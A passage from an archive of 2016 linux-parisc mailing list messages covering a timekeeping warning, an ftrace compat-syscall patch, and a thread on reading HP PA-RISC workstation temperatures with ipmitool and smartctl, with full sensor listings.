 Okr/qCNBsUGp9KfUrdGQbQFV97O6ztJPgyg0CBAC6k2ToQeFJwVe/k0tbsukRpwUI++IHIZ
 fdzrDjcGGkVymSP/4XkLG3oX0KAp7u3P0lYXRLGx63FNiw2znghrURdc1WGJYX7weTDb2QK
 JkVO6YMv0jX8RL9jNmAnA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vX/J5F2dPrs=:Id3EeqWyQ9fkdp0BTDn1mR
 IYb+Mj1oT00D48fId+7rGRFM+/zPj5DvuVSvJNN/rL61vUEvZl9hOQPSWJAOOsw15OPGhr+hf
 i6nFFBCQlDf9Zq7VLhNEI+VwPnICApN0+PTKI0JOxmu1fm3tifB6Iz+bqrikycpW0yCliJTLV
 OcRLYD/6/fIARzZjVeEEbsP48ndOpd3QWOUq39qelN2ox+SSQ+QPkrgQl5QQzloFUWP+4OjV8
 m6h0QJg4I7082gL4fz0pMobt8eYXRrlDeyvTfO8zufyCCHk1KvRcAtYMumkbcgjh7A2yJasS+
 fI3dwE1ZlpDrqBf7Z2cInqY9qNrb6j4e8UHpLPllNldUrBMngmX6Bme46zHucIw59jfbAV1bu
 gGzUr1YU/vxKnQmIroVbYV8nYd4V9Eg7giG2wKWgfITP5brIpwpazSA9i7DSh+84sLhZs4InO
 aTKhF2be/UBhibvAoSC6weKAgYvkCR+x9sYqY/ZykPGKDg/FKMvSPK0xi1FmPh9ExlBQrvfmv
 UlgbJi+bzyta7mzd/BcCMLeOWSaKD5gaSc/fbUVYrQ1a/TEyGr1n7Z1+Sflzb0MYzDytIY7GK
 0HluWVUxlinUnGogRppY6wnbfdCLQjh7FAeXjRxygn/J5G/C22ERX7gQZhCX2hDg/pcc/r1pP
 VClzkmjj7XzLvLc9cXzcDgnCvVdz16WVspN4FbC92ufDT4g/hszLhPHXCkmM6VNsD+DeshZoq
 jwR7C1nwXcLyHT8H2xZsbrNxAkLz7lMs9SponqHaMQDTBA8bt/fdr9l/0Cv7/Zhf9TyMEjrA 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27002 gmane.linux.kernel:2325746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27002>

When enabling CONFIG_DEBUG_TIMEKEEPING, I see on kernel 4.8 git head
those warnings on the parisc architecture:

Linux version 4.8.0-64bit+ (deller@p100.box) (gcc version 4.9.2 20150212 (Red Hat Cross 4.9.2-5) (GCC) ) #516 SMP Wed Oct 12 22:52:58 CEST 2016
...
clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0xacf9151134, max_idle_ns: 440795214493 ns
WARNING: timekeeping: Cycle offset (32) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
         timekeeping: Your kernel is sick, but tries to cope by capping time updates
WARNING: timekeeping: Cycle offset (42) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
         timekeeping: Your kernel is sick, but tries to cope by capping time updates
...
At this stage the jiffies clocksource was not yet registered (at least not mentioned in the bootlog).
This warning happens over and over. Maybe it should be rate-limited too?

Comparing to 4.7 where CONFIG_DEBUG_TIMEKEEPING is not enabled I see:
root@c8000:~# dmesg | grep clock
[    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0xcf914c9718, max_idle_ns: 440795231327 ns
[    0.873644] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    7.968087] clocksource: Switched to clocksource cr16

Am I somehow missing to initialize the max_cycles field of the jiffies clocksource
on the parisc architecture ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Marcin Nowakowski <marcin.nowakowski@imgtec.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api
Subject: [PATCH v4 12/12] parisc/tracing: fix compat syscall handling
Date: Fri, 14 Oct 2016 10:35:15 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <1476434115-25428-14-git-send-email-marcin.nowakowski@imgtec.com>
References: <1476434115-25428-1-git-send-email-marcin.nowakowski@imgtec.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1476434327 9549 195.159.176.226 (14 Oct 2016 08:38:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Oct 2016 08:38:47 +0000 (UTC)
Cc: <linux-api@vger.kernel.org>, <luto@amacapital.net>,
        <rostedt@goodmis.org>,
        Marcin Nowakowski <marcin.nowakowski@imgtec.com>,
        Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "Helge Deller" <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 14 10:38:42 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1buy0j-0001Oj-4f
	for glpp-linux-parisc@m.gmane.org; Fri, 14 Oct 2016 10:38:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752758AbcJNIii (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Oct 2016 04:38:38 -0400
Original-Received: from mailapp02.imgtec.com ([217.156.133.132]:62195 "EHLO
        mailapp01.imgtec.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752708AbcJNIfo (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Oct 2016 04:35:44 -0400
Original-Received: from HHMAIL03.hh.imgtec.org (unknown [10.44.0.21])
        by Forcepoint Email with ESMTPS id 22C9716D36881;
        Fri, 14 Oct 2016 09:35:40 +0100 (IST)
Original-Received: from HHMAIL01.hh.imgtec.org (10.100.10.19) by HHMAIL03.hh.imgtec.org
 (10.44.0.21) with Microsoft SMTP Server (TLS) id 14.3.294.0; Fri, 14 Oct 2016
 09:35:42 +0100
Original-Received: from WR-NOWAKOWSKI.kl.imgtec.org (10.80.2.5) by
 HHMAIL01.hh.imgtec.org (10.100.10.21) with Microsoft SMTP Server (TLS) id
 14.3.294.0; Fri, 14 Oct 2016 09:35:41 +0100
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1476434115-25428-1-git-send-email-marcin.nowakowski@imgtec.com>
X-Originating-IP: [10.80.2.5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27003 gmane.linux.kernel:2326668 gmane.linux.kernel.api:21658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27003>

Add missing arch code - arch_trace_is_compat_syscall and
arch_syscall_addr

Signed-off-by: Marcin Nowakowski <marcin.nowakowski@imgtec.com>
Cc: Steven Rostedt <rostedt@goodmis.org>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/ftrace.h | 10 ++++++++++
 arch/parisc/kernel/Makefile      |  1 +
 arch/parisc/kernel/ftrace.c      | 15 +++++++++++++++
 3 files changed, 26 insertions(+)

diff --git a/arch/parisc/include/asm/ftrace.h b/arch/parisc/include/asm/ftrace.h
index d635c6b..0b54385 100644
--- a/arch/parisc/include/asm/ftrace.h
+++ b/arch/parisc/include/asm/ftrace.h
@@ -12,6 +12,16 @@ extern unsigned long return_address(unsigned int);
 
 #define ftrace_return_address(n) return_address(n)
 
+#if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_COMPAT)
+#include <linux/compat.h>
+
+#define ARCH_COMPAT_SYSCALL_NUMBERS_OVERLAP 1
+static inline bool arch_trace_is_compat_syscall(struct pt_regs *regs)
+{
+	return in_compat_syscall();
+}
+#endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_COMPAT */
+
 #endif /* __ASSEMBLY__ */
 
 #endif /* _ASM_PARISC_FTRACE_H */
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 69a1118..7d1fd39 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -31,3 +31,4 @@ obj64-$(CONFIG_AUDIT)	+= compat_audit.o
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o $(obj64-y)
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
+obj-$(CONFIG_FTRACE_SYSCALLS)	+= ftrace.o
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index 5a5506a..41db7ca 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -56,6 +56,7 @@ static void __hot prepare_ftrace_return(unsigned long *parent,
 }
 #endif /* CONFIG_FUNCTION_GRAPH_TRACER */
 
+#ifdef CONFIG_FUNCTION_TRACER
 void notrace __hot ftrace_function_trampoline(unsigned long parent,
 				unsigned long self_addr,
 				unsigned long org_sp_gr3)
@@ -85,4 +86,18 @@ void notrace __hot ftrace_function_trampoline(unsigned long parent,
 	}
 #endif
 }
+#endif /* CONFIG_FUNCTION_TRACER */
+#if (defined CONFIG_FTRACE_SYSCALLS) && (defined CONFIG_64BIT)
+extern const unsigned int sys_call_table64[];
 
+unsigned long __init arch_syscall_addr(int nr, bool compat)
+{
+#ifdef CONFIG_COMPAT
+	if (compat)
+		return (unsigned long)sys_call_table[nr];
+#endif /* CONFIG_COMPAT */
+
+	return (unsigned long)sys_call_table64[nr];
+}
+
+#endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_64BIT */
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Board & CPU temperature of C8000 workstation with IPMI
Date: Fri, 14 Oct 2016 15:30:54 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <5800DE0E.80809@gmx.de>
References: <xfk3dgbwtml2ipflw4qteta4.1476373659232@email.android.com>
 <CAL2AjcemWWonjOWNa+X+2Qsewfzohp0C4pFjh8CmAk2UbbC=-A@mail.gmail.com>
 <57FFB7C1.1040809@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476451950 13427 195.159.176.226 (14 Oct 2016 13:32:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Oct 2016 13:32:30 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: pannonmage <pannonmage@googlemail.com>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 14 15:32:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bv2ah-0008OL-TC
	for glpp-linux-parisc@m.gmane.org; Fri, 14 Oct 2016 15:32:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755417AbcJNNbj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Oct 2016 09:31:39 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:64530 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755280AbcJNNa7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Oct 2016 09:30:59 -0400
Original-Received: from [192.168.20.60] ([92.203.11.122]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0Lu2F0-1cw6p71aQI-011TWd; Fri, 14 Oct 2016 15:30:55
 +0200
X-Enigmail-Draft-Status: N1110
In-Reply-To: <57FFB7C1.1040809@gmx.de>
X-Provags-ID: V03:K0:H2oY/5wD3KGapplvYgDj3P4bXaPkAxIyzg02MBCCUhzl4Iy6p8/
 igaXql8ZpCO/gVP2x4nGvigVAY+CvmiRrBrQfhLC6LBKJdiXY2vzNgTYJcKt8VxSBVQgPqh
 0VoxBX37t1T14RPdtKEKUylVPtlHebDw8BYEVF2jXgfKmSye0Ko+K2Y8/FW724hrQZAvMWi
 B+qjlOT2bu6YKUbSDouLg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gN9sXUrEVDw=:6vKiQABljm4ahwZXZWe0JW
 Q/S/p5gXTD6MOhuMKjJfE+Pkce6rHCFDKTlTNSJh+lvNrYlykg4O5EZhi3EUgYj+vKPgAAFwz
 fAmtl7MfirEg0yGEM+L2TUCnqbQ3H/cKG9/+HxV9HMm3lmsLkYESkCwpyVqIrTGoQe76GelLu
 7Ri6sr5xLJJggTKOM352Kp+pFQwBtylKZdGqI0baLXYRtVI2SS3yoaO1Cb9ONM8oBGstKPHB6
 WAamAH4IfecOQ9uDFkX3Ep7B95EntKFzK3+HZKWxUYoJNzYYO5O3+9KJXGdOicavD0JqaJ/zR
 ZinTP1TcPVoo8OwRmTyl3R+/oyXQokrbbEiyjZhFAOFGGB9nRvy9lHPfUATreoXqbNLUXHvX8
 N3H3uSdu6Luc4GzTjLvM4GFBezd2mln34qGgTr3MxSjCd/ID/bdhrnQdAOt936bpq5vrVwFZf
 gZWEEXzNfTgp1exmPSPZHLuq7/1aFOl5gbCWXEUeQ9KW1cpRInzLxRtLyKi+TGrMXfvh/A1dB
 gOlKOYwaxFePjnIWmxElN+3k2P5PUQJA12J7JCjH/uQ0DO087kGVzCv19shlSZwN184sFgYuZ
 zdLevaXYMZEUt2E3nlezVp6hPI1uvBJgQLpEtVqhK9jIKBfuMSnJRm6NVlbyeFpO40sVZDbQJ
 tco+D2z5mkpjaW4vovxGVp8MlN1yuTIW7+arA+EZKayekKT0o/hkyoKYoRPiwqJ0roTDYv5ZO
 sPhdMuB1FF8GNR4DqVbgIMO5GCxGEDe9edKN9uUFinzEMZTXT43xEZKLcd0cKgv9GHU0h8lP 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27004>

Hi all,

I was asked about how to remotely find out the board/CPU temperature
of a HP C8000 workstation. Here is the way I found on Debian Linux:

Instruct the kernel to load the IPMI modules:
 modprobe ipmi_si
 modprobe ipmi_devintf

You need to have the "ipmitool" installed:
 apt-get install ipmitool

Then, you can run "ipmitool sdr" to get quite some information:
root@savaria:/# ipmitool sdr
Chassis Intrus   | 0x01              | ok
Chassis Open     | 0x00              | ok
Security         | Not Readable      | ns
Power Button     | 0x01              | ok
Power Button     | 0x00              | ok
Clear CMOS Jmpr  | 0x00              | ok
Safe Mode Jmpr   | 0x00              | ok
Clr Passwd Jmpr  | 0x00              | ok
Rsvd Jmpr        | Not Readable      | ns
Rsvd2 Jmpr       | Not Readable      | ns
Watchdog Timer   | Not Readable      | ns
Cooling 2 (CPU)  | 0x01              | ok
Cooling 3 (Mem)  | 0x01              | ok
Cooling 4 (Disk) | 0x01              | ok
Wake-on-LAN      | Not Readable      | ns
Missing Device   | Not Readable      | ns
Power Supply     | 0x01              | ok
Power Control    | 0x01              | ok
Pwr Pod 0 Fault  | 0x00              | ok
Pwr Pod 1 Fault  | Not Readable      | ns
Battery Voltage  | 0x00              | ok
Over-Voltage     | 0x00              | ok
Power Good       | 0x00              | ok
Ambient Temp     | 24 degrees C      | ok
Processor 0 Temp | 86 degrees C      | ok
Processor 1 Temp | no reading        | ns
Chassis Fan Tach | disabled          | ns
CPU0 Fan Tach    | disabled          | ns
CPU1 Fan Tach    | disabled          | ns
Memory Fan Tach  | disabled          | ns
Disk Fan Tach    | disabled          | ns
Chassis Fan      | 0x00              | ok
CPU0 Fan         | 0x00              | ok
CPU1 Fan         | 0x00              | ok
Memory Fan       | 0x00              | ok
Disk Fan         | 0x00              | ok
ACPI State       | 0x01              | ok
TOC Interrupt    | 0x00              | ok
SDR Time Set     | 0x00              | ok
SEL Time Set     | 0x00              | ok
Intrnl Watchdog  | Not Readable      | ns


Another temperature information can be gathered from the 
built-in SATA/SCSI drives:

Install smartmontools:
 apt-get install smartmontools

Get drive information:
 smartctl --all /dev/sda | grep -i temp
Temperature Warning:  Enabled
Current Drive Temperature:     44 C
Drive Trip Temperature:        68 C


Any other ideas ?
Additionally I wonder if it's possible to get more information filled in
for IPMI on C8000 machines. E.g. is it possible on HP-UX to remotely turn
the machine on and off ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Board & CPU temperature of C8000 workstation with IPMI
Date: Fri, 14 Oct 2016 09:51:25 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <75fb661f-ccbd-84ab-ad08-3df37d09b295@bell.net>
References: <xfk3dgbwtml2ipflw4qteta4.1476373659232@email.android.com>
 <CAL2AjcemWWonjOWNa+X+2Qsewfzohp0C4pFjh8CmAk2UbbC=-A@mail.gmail.com>
 <57FFB7C1.1040809@gmx.de> <5800DE0E.80809@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476453109 6880 195.159.176.226 (14 Oct 2016 13:51:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Oct 2016 13:51:49 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: pannonmage <pannonmage@googlemail.com>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 14 15:51:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bv2tR-0007c3-M7
	for glpp-linux-parisc@m.gmane.org; Fri, 14 Oct 2016 15:51:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756296AbcJNNv1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Oct 2016 09:51:27 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:49504 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1756282AbcJNNv0 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Oct 2016 09:51:26 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20161014135125.LAJH4020.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 14 Oct 2016 09:51:25 -0400
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm02.bell.net
          with ESMTP
          id <20161014135125.OKOB29689.mtlspm02.bell.net@[192.168.0.125]>;
          Fri, 14 Oct 2016 09:51:25 -0400
In-Reply-To: <5800DE0E.80809@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.5800E2DD.013D,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27005>

Hi Helge,

On 2016-10-14 9:30 AM, Helge Deller wrote:
> Additionally I wonder if it's possible to get more information filled in
> for IPMI on C8000 machines. E.g. is it possible on HP-UX to remotely turn
> the machine on and off ?
>
I had wondered that as well.  On rp3440, I see messages during boot that 
indicate that
the ipmi doesn't know how to do it.

I will try ipmitool on rp3440 tonight.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Board & CPU temperature of C8000 workstation with IPMI
Date: Fri, 14 Oct 2016 19:30:21 -0400
Lines: 92
Approved: news@gmane.org
Message-ID: <9DC6B052-2B72-421C-A182-42B904DD5F2D@bell.net>
References: <xfk3dgbwtml2ipflw4qteta4.1476373659232@email.android.com> <CAL2AjcemWWonjOWNa+X+2Qsewfzohp0C4pFjh8CmAk2UbbC=-A@mail.gmail.com> <57FFB7C1.1040809@gmx.de> <5800DE0E.80809@gmx.de> <75fb661f-ccbd-84ab-ad08-3df37d09b295@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1476487835 19884 195.159.176.226 (14 Oct 2016 23:30:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Oct 2016 23:30:35 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        pannonmage <pannonmage@googlemail.com>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 15 01:30:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bvBvk-0003XK-FZ
	for glpp-linux-parisc@m.gmane.org; Sat, 15 Oct 2016 01:30:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753420AbcJNXaY convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Oct 2016 19:30:24 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:43404 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752963AbcJNXaY (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Oct 2016 19:30:24 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20161014233022.GIEU28435.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 14 Oct 2016 19:30:22 -0400
Original-Received: from [192.168.2.10] (really [70.54.56.11]) by torspm02.bell.net
          with ESMTP
          id <20161014233022.LMUP17678.torspm02.bell.net@[192.168.2.10]>;
          Fri, 14 Oct 2016 19:30:22 -0400
In-Reply-To: <75fb661f-ccbd-84ab-ad08-3df37d09b295@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.58016A8E.0120,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27006>

On 2016-10-14, at 9:51 AM, John David Anglin wrote:

> Hi Helge,
> 
> On 2016-10-14 9:30 AM, Helge Deller wrote:
>> Additionally I wonder if it's possible to get more information filled in
>> for IPMI on C8000 machines. E.g. is it possible on HP-UX to remotely turn
>> the machine on and off ?
>> 
> I had wondered that as well.  On rp3440, I see messages during boot that indicate that
> the ipmi doesn't know how to do it.
> 
> I will try ipmitool on rp3440 tonight.


mx3210:/home/dave# ipmitool sdr
Chassis Intrus   | 0x00              | ok
Chassis Open     | 0x00              | ok
Security         | Not Readable      | ns
Power Button     | 0x00              | ok
Power Button     | 0x00              | ok
Clear CMOS Jmpr  | Not Readable      | ns
Safe Mode Jmpr   | Not Readable      | ns
Clr Passwd Jmpr  | 0x00              | ok
Rsvd Jmpr        | Not Readable      | ns
Rsvd2 Jmpr       | Not Readable      | ns
Watchdog Timer   | Not Readable      | ns
Cooling 1 (Sys)  | 0x01              | ok
Cooling 2 (Mem)  | 0x01              | ok
Cooling 3 (Disk) | 0x01              | ok
Wake-on-LAN 100  | Not Readable      | ns
Wake-on-LAN 1Gb  | Not Readable      | ns
Missing Device   | Not Readable      | ns
SAF-TE Card      | Not Readable      | ns
Power Supply 1   | 0x01              | ok
Power Supply 2   | 0x00              | ok
Pwr Spply 1 Ctrl | Not Readable      | ns
Pwr Spply 2 Ctrl | Not Readable      | ns
Power Redundancy | 0x01              | ok
AC Pwr Supply 1  | Not Readable      | ns
AC Pwr Supply 2  | Not Readable      | ns
12V Pwr Supply 1 | 0x00              | ok
12V Pwr Supply 2 | 0x00              | ok
12V Rail 0       | 0x00              | ok
12V Rail 1       | 0x00              | ok
12V Rail 2       | 0x00              | ok
12V Rail 3       | 0x00              | ok
12V Rail 4       | 0x00              | ok
Battery Voltage  | 0x00              | ok
Over-Voltage     | 0x00              | ok
Power Good       | 0x00              | ok
Ambient Temp     | 22 degrees C      | ok
Processor 0 Temp | 56 degrees C      | ok
Processor 1 Temp | 56 degrees C      | ok
Fan 1R Tach      | 2610 RPM          | ok
Fan 1L Tach      | 2670 RPM          | ok
Fan CPU0 Tach    | 4470 RPM          | ok
Fan CPU1 Tach    | 4380 RPM          | ok
Fan 2F Tach      | 3870 RPM          | ok
Fan 2B Tach      | 4110 RPM          | ok
Fan 3F Tach      | 3090 RPM          | ok
Fan 3B Tach      | 2790 RPM          | ok
Fan 1R (Power)   | 0x00              | ok
Fan 1L (Power)   | 0x00              | ok
Fan CPU0 (R)     | 0x00              | ok
Fan CPU1 (L)     | 0x00              | ok
Fan 2F (Memory)  | 0x00              | ok
Fan 2B (Memory)  | 0x00              | ok
Fan 3F (Disk)    | 0x00              | ok
Fan 3B (Disk)    | 0x00              | ok
SCSI Device 0    | 0x01              | ok
SCSI Device 1    | 0x00              | ok
SCSI Device 2    | 0x01              | ok
SCSI ChA Cable   | 0x01              | ok
SCSI ChB Cable   | 0x01              | ok
SCSI ChExt Cable | 0x01              | ok
ACPI State       | 0x01              | ok
TOC Interrupt    | 0x00              | ok
SDR Time Set     | 0x00              | ok
SEL Time Set     | 0x00              | ok
Intrnl Watchdog  | Not Readable      | ns

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Implement executable address layout randomization
Date: Sun, 16 Oct 2016 00:02:27 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <20161015220227.GA31338@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
